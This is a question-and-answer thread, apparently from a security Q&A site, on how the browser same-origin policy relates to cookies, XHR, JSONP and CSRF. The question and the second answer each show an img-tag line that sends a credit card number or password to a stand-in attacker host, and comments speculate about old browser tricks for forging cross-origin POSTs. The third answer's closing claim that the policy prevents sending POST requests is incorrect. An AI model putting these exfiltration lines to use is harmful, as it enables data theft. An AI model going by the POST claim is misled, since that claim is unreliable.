21

I get that I don't want a page loaded from stackoverflow.com to be able to request gmail.com on my behalf and read my email--but this seems to be simply a cookie issue.

Since JSONP bypasses same-origin entirely, I want to know why, instead of making XMLHTTPRequest conform to same-origin, the browser doesn't just apply same-origin to cookies. In other words, if the page was loaded from stackoverflow.com, the browser will only send cookies to XHRs to stackoverflow.com. An XHR to Facebook would be prevented from sending the user's cookies and yield the logged-out view of Facebook.

At first I was thinking it's just an "extra layer" of security, "just in case" somebody has compromised one site already by putting in a script that ajaxes your password/bank account number out to "malicioushacker.ru". However since you could use JSONP in that case, or even just make an <img src="http://malicious.example/steal?creditcard=1234123412341234"> tag, this isn't what's being prevented.

1
  • Many years later, and with the benefit of more learning, I wanted to point out for anyone who sees this later that while you could use JSONP, the only way to do so is for the site on the server side of that request to choose to send a JSONP response, and given how it could be abused, it's probably a bad idea to use JSONP for anything where security matters. Good for allowing anyone to get free weather data, super duper bad for anything to do with money/PII :) - Although with modern CORS headers being so easy, probably not worth bothering with JSONP ever anymore!
    – XP84
    Commented Oct 31, 2022 at 16:14

3 Answers 3

20

Your premise is wrong. Script tags and JSON don't bypass the same-origin policy.

The same-origin policy says that evil.com should not be able to read the responses for arbitrary resources on victim.com. Note that Javascript from evil.com can trigger nearly arbitrary requests to be sent to victim.com (e.g., by creating an IFRAME pointing to http://victim.com/whatever.html). However, the Javascript from evil.com cannot read the contents of that document: i.e., it cannot read the response to that request.

Now perhaps what you are thinking of is that evil.com can ask the browser to load arbitrary code from anywhere on victim.com and then execute it with all of evil.com's permissions. That's not a bypass of the same-origin policy. (Note also that it tends to be a security risk, for the party who is loading Javascript from third-party sites.)

XHRs have to be restricted, because XHR allows Javascript to not only trigger a request to be sent, but also allows Javascript to read the response. The same-origin policy forbids that, for cross-origin requests. The same-origin policy says that reading the response is something that should only be allowed if the request is to the same origin as the origin of the Javascript code. Thus, Javascript from evil.com is allowed to issue a XHR to http://evil.com/doit and read the response, but it is not allowed to issue a XHR to http://victim.com/doit and read the response.

If you want to issue cross-origin XHRs, then the target domain will need to authorize you to send it cross-origin XHRs. Look into CORS for ways to do that.

10
  • 1
    "evil.com can ask the browser to load arbitrary code from anywhere on victim.com and execute it, with all of evil.com's permissions. That's not a bypass of the same-origin policy." Yes it is. The code http://victim.com/script is downloaded with the permissions (cookies, etc.) of the user on http://victim.com, not the permissions on http://evil.com as it logically should.
    – curiousguy
    Commented Jul 13, 2012 at 1:46
  • (...) as described here"this cross-domain payload"
    – curiousguy
    Commented Jul 13, 2012 at 1:57
  • @curiousguy, no it isn't. It might violate what you think the same-origin policy ought to enforces, but it does not violate what the same-origin policy (as implemented in browsers) actually enforces. The phrase "same-origin policy" is a term of art; it means something very specific (not, whatever you wish browsers would do). See the Browser security handbook, especially the sections on Browser-side Javascript and Same-origin policy.
    – D.W.
    Commented Jul 13, 2012 at 18:18
  • 1
    @curiousguy, A source of possible confusion is the difference between permissions used when downloading content vs when executing it. Suppose evil.com includes SCRIPT SRC=victim.com/stuff.js in its page. Then the code from victim.com is downloaded with victim.com's cookies, but it is executed with evil.com's permissions (it is in evil.com's security context, running with ability to access everything evil.com can). This distinction is important. Make sure to keep 'em straight, as they're different and have different security implications!
    – D.W.
    Commented Jul 13, 2012 at 18:22
  • 1
    @curiousguy "[this] is an obvious same-origin violation" - No, actually, it isn't. I apologize for contradicting you, but the simple fact is: it isn't. As I already said, the same-origin policy is a technical term that already has an accepted meaning. I get that you don't like that meaning and wish it meant something different. I feel your pain. But, you know what? Under the accepted meaning of the term, the behavior of SCRIPT SRC=anotherdomain.com/foo.js is not a violation of the same-origin policy. If you want to work in this area, you need to learn the terminology.
    – D.W.
    Commented Jul 26, 2012 at 6:22
2

There is no "same domain rule". XHR can POST or GET to other domains - it is just that the response cannot be read by the requesting origin.

JSONP does not bypass the Same Origin Policy. The SOP simply says the above - requests can be made to other origins, just that their responses cannot be read. JSONP does not require the response to be read - it simply includes code from another domain to run in the context of the current domain. The code cannot be read, only executed in the browser.

Requests that can cause "side-effects" should only be done as POSTs. Restricting XHRs to the same domain in server side code can stop JSON POST actions being carried out other than on the domain of the site that you are on, which can mitigate CSRF vulnerabilities. For this to be effective, there needs to be server side checks of either the Origin header or a custom one such as X-Requested-With as custom headers cannot be sent cross domain without CORS. This is because although reading of the response is protected by the Same Origin Policy, there is no restriction of the actual cross-domain POST request from being made in the first place.

With most modern browsers it is possible to disable third party cookies. This will prevent CSRF attacks that are made via AJAX, assuming that the browser is not sending previously set cookies for those domains. Chrome appears to block third party cookies completely if the setting is enabled - cookies won't be accepted or sent if the domain is a third party, some browsers may still send the cookies if they were previously accepted as first party cookies.

It won't help in your example where the compromised site can send data to another site using <img src="//example.com/?password=1234" />, however a Content Security Policy can be implemented if you want this behaviour as external sources can be blocked at browser level.

There is support within CORS for whether cookies are accepted cross domain (Access-Control-Allow-Credentials). This also covers other authentication methods too, rather than only cookies. Again, this only affects whether the requesting domain can read the response, not whether it can be made in the first place.

6
  • @D.W., Does any browser support JSON encoding for form based POSTs? Commented Mar 24, 2012 at 0:16
  • @HendrikBrummermann, I don't know, but I would not rely upon it being impossible. It's a very fragile area. Examples: (1) Firefox and IE allow Javascript to create and submit a form with ENCTYPE=text/plain and almost arbitrary contents, so you can send a POST with a JSON body (but not application/json MIME type).
    – D.W.
    Commented Mar 24, 2012 at 4:57
  • (2) I think that older versions of Flash allowed a Flash applet to submit a cross-origin POST with an arbitrary MIME content type and body. If this is correct, it would provide a way that (for older versions of Flash) could be used to send a POST with a JSON-encoded body. I have not verified this. And I'm pretty certain this is fixed in modern versions of Flash player.
    – D.W.
    Commented Mar 24, 2012 at 5:01
  • (3) On IE6, it is possible to inject newlines into some header values. Consequently, I think that on IE6, if you're accessing the web through a proxy it may be possible to send a cross-origin POST with an arbitrary MIME content type and body, by inserting newlines and extra stuff to create the appearance of a second HTTP request (I don't know whether it's possible to arrange that browser cookies be attached to the fake POST request). I have not verified this conjecture.
    – D.W.
    Commented Mar 24, 2012 at 5:09
  • In summary, I'm not sure you can rely upon browsers to restrict the contents of POSTs. It's "there be dragons" territory. I think you can rely upon browsers to not let Javascript view the response to a cross-origin request, but I'm not sure you can count on them to prevent sending cross-origin POSTS or to limit their contents (or, at least, I'm not sure exactly what restrictions you can count on to be enforced). Bonus comment: Restricting XHRs is not an effective defense against CSRF. To reliably stop CSRF, you must use CSRF tokens, unguessable URLs, or similar defenses.
    – D.W.
    Commented Mar 24, 2012 at 5:16
0

TL:DR Same Origin Policy mainly prevents retrieval of information, not sending.

Same Origin Policy stops malicious.com from using cookies for bank.com to retrieve sensitive information from bank.com. The key thing to note is that the Same Origin Policy tries to prevent a script from malicious.com from every seeing any data from bank.com. Once a script from malicious.com has the data, it can phone home with it in many different ways as described in the question.

There are several ways a script from malicious.com might try to get data from bank.com but are prevented by the Same Origin Policy:

  1. A user visits malicious.com, and a script tries to do an ajax request on bank.com, without bank.com setting the appropriate headers (not under malicious.com's control) the request fails
  2. A user visits malicious.com and a script tries to load a sensitive image from bank.com. The request succeeds and the image is loaded. However, any attempt to retrieve the data from said image (via a data url or otherwise) is blocked.
  3. A user visits malicious.com and a script tries to load a sensitive script (JSONP or otherwise) from bank.com. If the script requires cookies this will fail (unless bank.com has set the headers to allow this), if it doesn't require cookies, it's already available to anyone.
  4. A user visits bank.com and loads an ad from malicious.com in an iframe. If the iframe is properly sandboxed then the ad is just like the scenarios listed above and has no access to any content from bank.com.

However, there are also ways to get information that are not prevented by Same Origin Policy and represent attack vectors. The main one is XSS where a user visits bank.com and bank.com loads an unsandboxed script from malicious.com. The script from malicious.com can then do whatever it wants. Sites should never do JSONP requests to sites they don't trust, nor should they allow script tags to be embedded into pages from user input.

Additionally, Same Origin Policy prevents sending of POST requests (or anything other than GET or OPTIONS requests).

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .